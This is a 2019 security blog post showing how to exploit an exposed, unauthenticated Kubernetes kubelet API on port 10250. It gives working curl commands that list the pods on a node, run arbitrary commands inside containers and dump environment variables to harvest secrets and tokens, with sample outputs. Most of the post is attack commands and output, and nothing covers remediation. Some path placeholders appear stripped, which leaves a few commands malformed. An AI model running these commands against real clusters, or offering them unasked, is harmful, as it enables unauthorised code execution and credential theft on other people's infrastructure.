Wednesday, January 16, 2019

Kubernetes: unauth kublet API 10250 basic code exec


Unauth API access (10250)

Most Kubernetes deployments provide authentication for this port. But it’s still possible to expose it inadvertently and it's still pretty common to find it exposed via the "insecure API service" option.


Everybody who has access to the service kubelet port (10250), even without a certificate, can execute any command inside the container.

# /run/%namespace%/%pod_name%/%container_name%

example:

$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

total 12
drwxr-xr-x   13 root     root           148 Aug 26 11:31 .
drwxr-xr-x   13 root     root           148 Aug 26 11:31 ..
-rwxr-xr-x    1 root     root             0 Aug 26 11:31 .dockerenv
drwxr-xr-x    2 root     root          8192 May  5 22:22 bin
drwxr-xr-x    5 root     root           380 Aug 26 11:31 dev
drwxr-xr-x    3 root     root           135 Aug 26 11:31 etc
drwxr-xr-x    2 nobody   nogroup          6 Mar 18 16:38 home
drwxr-xr-x    2 root     root             6 Apr 23 11:17 lib
dr-xr-xr-x  353 root     root             0 Aug 26 07:14 proc
drwxr-xr-x    2 root     root             6 Mar 18 16:38 root
dr-xr-xr-x   13 root     root             0 Aug 26 15:12 sys
drwxrwxrwt    2 root     root             6 Mar 18 16:38 tmp
drwxr-xr-x    4 root     root            31 Apr 23 11:17 usr
drwxr-xr-x    5 root     root            41 Aug 26 11:31 var


Here is how to get all secrets which container uses (environment variables - commons to see kublet tokens here):

$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system//" -d "cmd=env"

The list of all pods and containers which were scheduled on the Kubernetes worker node could be retrieved using command below:

$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

or

$ curl --insecure  https://k8s-node-1:10250/runningpods | jq


Example 1:

curl --insecure  https://1.2.3.4:10250/runningpods | jq

Output:

Forbidden (user=system:anonymous, verb=create, resource=nodes, subresource=proxy)

Example 2:
curl --insecure  https://1.2.3.4:10250/runningpods | jq

Output:

Unauthorized

Example 3:

curl --insecure  https://1.2.3.4:10250/runningpods | jq


Output:

{
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {},
  "items": [
    {
      "metadata": {
        "name": "kube-dns-5b8bf6c4f4-k5n2g",
        "generateName": "kube-dns-5b8bf6c4f4-",
        "namespace": "kube-system",
        "selfLink": "/api/v1/namespaces/kube-system/pods/kube-dns-5b8bf6c4f4-k5n2g",
        "uid": "63438841-e43c-11e8-a104-42010a80038e",
        "resourceVersion": "85366060",
        "creationTimestamp": "2018-11-09T16:27:44Z",
        "labels": {
          "k8s-app": "kube-dns",
          "pod-template-hash": "1646927090"
        },
        "annotations": {
          "kubernetes.io/config.seen": "2018-11-09T16:27:44.990071791Z",
          "kubernetes.io/config.source": "api",
          "scheduler.alpha.kubernetes.io/critical-pod": ""
        },
        "ownerReferences": [
          {
            "apiVersion": "extensions/v1beta1",
            "kind": "ReplicaSet",
            "name": "kube-dns-5b8bf6c4f4",
            "uid": "633db9d4-e43c-11e8-a104-42010a80038e",
            "controller": true
          }
        ]
      },
      "spec": {
        "volumes": [
          {
            "name": "kube-dns-config",
            "configMap": {
              "name": "kube-dns",
              "defaultMode": 420
            }
          },
          {
            "name": "kube-dns-token-xznw5",
            "secret": {
              "secretName": "kube-dns-token-xznw5",
              "defaultMode": 420
            }
          }
        ],
        "containers": [
          {
            "name": "dnsmasq",
            "image": "gcr.io/google-containers/k8s-dns-dnsmasq-nanny-amd64:1.14.10",
            "args": [
              "-v=2",
              "-logtostderr",
              "-configDir=/etc/k8s/dns/dnsmasq-nanny",
              "-restartDnsmasq=true",
              "--",
              "-k",
              "--cache-size=1000",
              "--no-negcache",
              "--log-facility=-",
              "--server=/cluster.local/127.0.0.1#10053",
              "--server=/in-addr.arpa/127.0.0.1#10053",
              "--server=/ip6.arpa/127.0.0.1#10053"
            ],
            "ports": [
              {
                "name": "dns",
                "containerPort": 53,
                "protocol": "UDP"
              },
              {
                "name": "dns-tcp",
                "containerPort": 53,
                "protocol": "TCP"
              }
            ],
            "resources": {
              "requests": {
                "cpu": "150m",
                "memory": "20Mi"
              }
            },
            "volumeMounts": [
              {
                "name": "kube-dns-config",
                "mountPath": "/etc/k8s/dns/dnsmasq-nanny"
              },
              {
                "name": "kube-dns-token-xznw5",
                "readOnly": true,
                "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount"
              }
            ],
            "livenessProbe": {
              "httpGet": {
                "path": "/healthcheck/dnsmasq",
                "port": 10054,
                "scheme": "HTTP"
              },
              "initialDelaySeconds": 60,
              "timeoutSeconds": 5,
              "periodSeconds": 10,
              "successThreshold": 1,
              "failureThreshold": 5
            },
            "terminationMessagePath": "/dev/termination-log",
            "imagePullPolicy": "IfNotPresent"
          },
        --------SNIP---------

With the output of the running pods command you can craft your command to do the code exec

$ curl -k -XPOST "https://k8s-node-1:10250/run///" -d "cmd=env"

as an example:



leaves you with:

curl -k -XPOST "https://kube-node-here:10250/run/kube-system/kube-dns-5b8bf6c4f4-k5n2g/dnsmasq" -d "cmd=ls -la /"

total 35264
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..
-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenv
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 bin
drwxr-xr-x    5 root     root           380 Nov  9 16:27 dev
-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nanny
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 etc
drwxr-xr-x    2 root     root          4096 Jan  9  2018 home
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 lib
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 media
drwxr-xr-x    2 root     root          4096 Jan  9  2018 mnt
dr-xr-xr-x  125 root     root             0 Nov  9 16:27 proc
drwx------    2 root     root          4096 Jan  9  2018 root
drwxr-xr-x    2 root     root          4096 Jan  9  2018 run
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbin
drwxr-xr-x    2 root     root          4096 Jan  9  2018 srv
dr-xr-xr-x   12 root     root             0 Nov  9 16:27 sys
drwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmp
drwxr-xr-x    7 root     root          4096 Nov  9 16:27 usr
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 var
CG

No comments: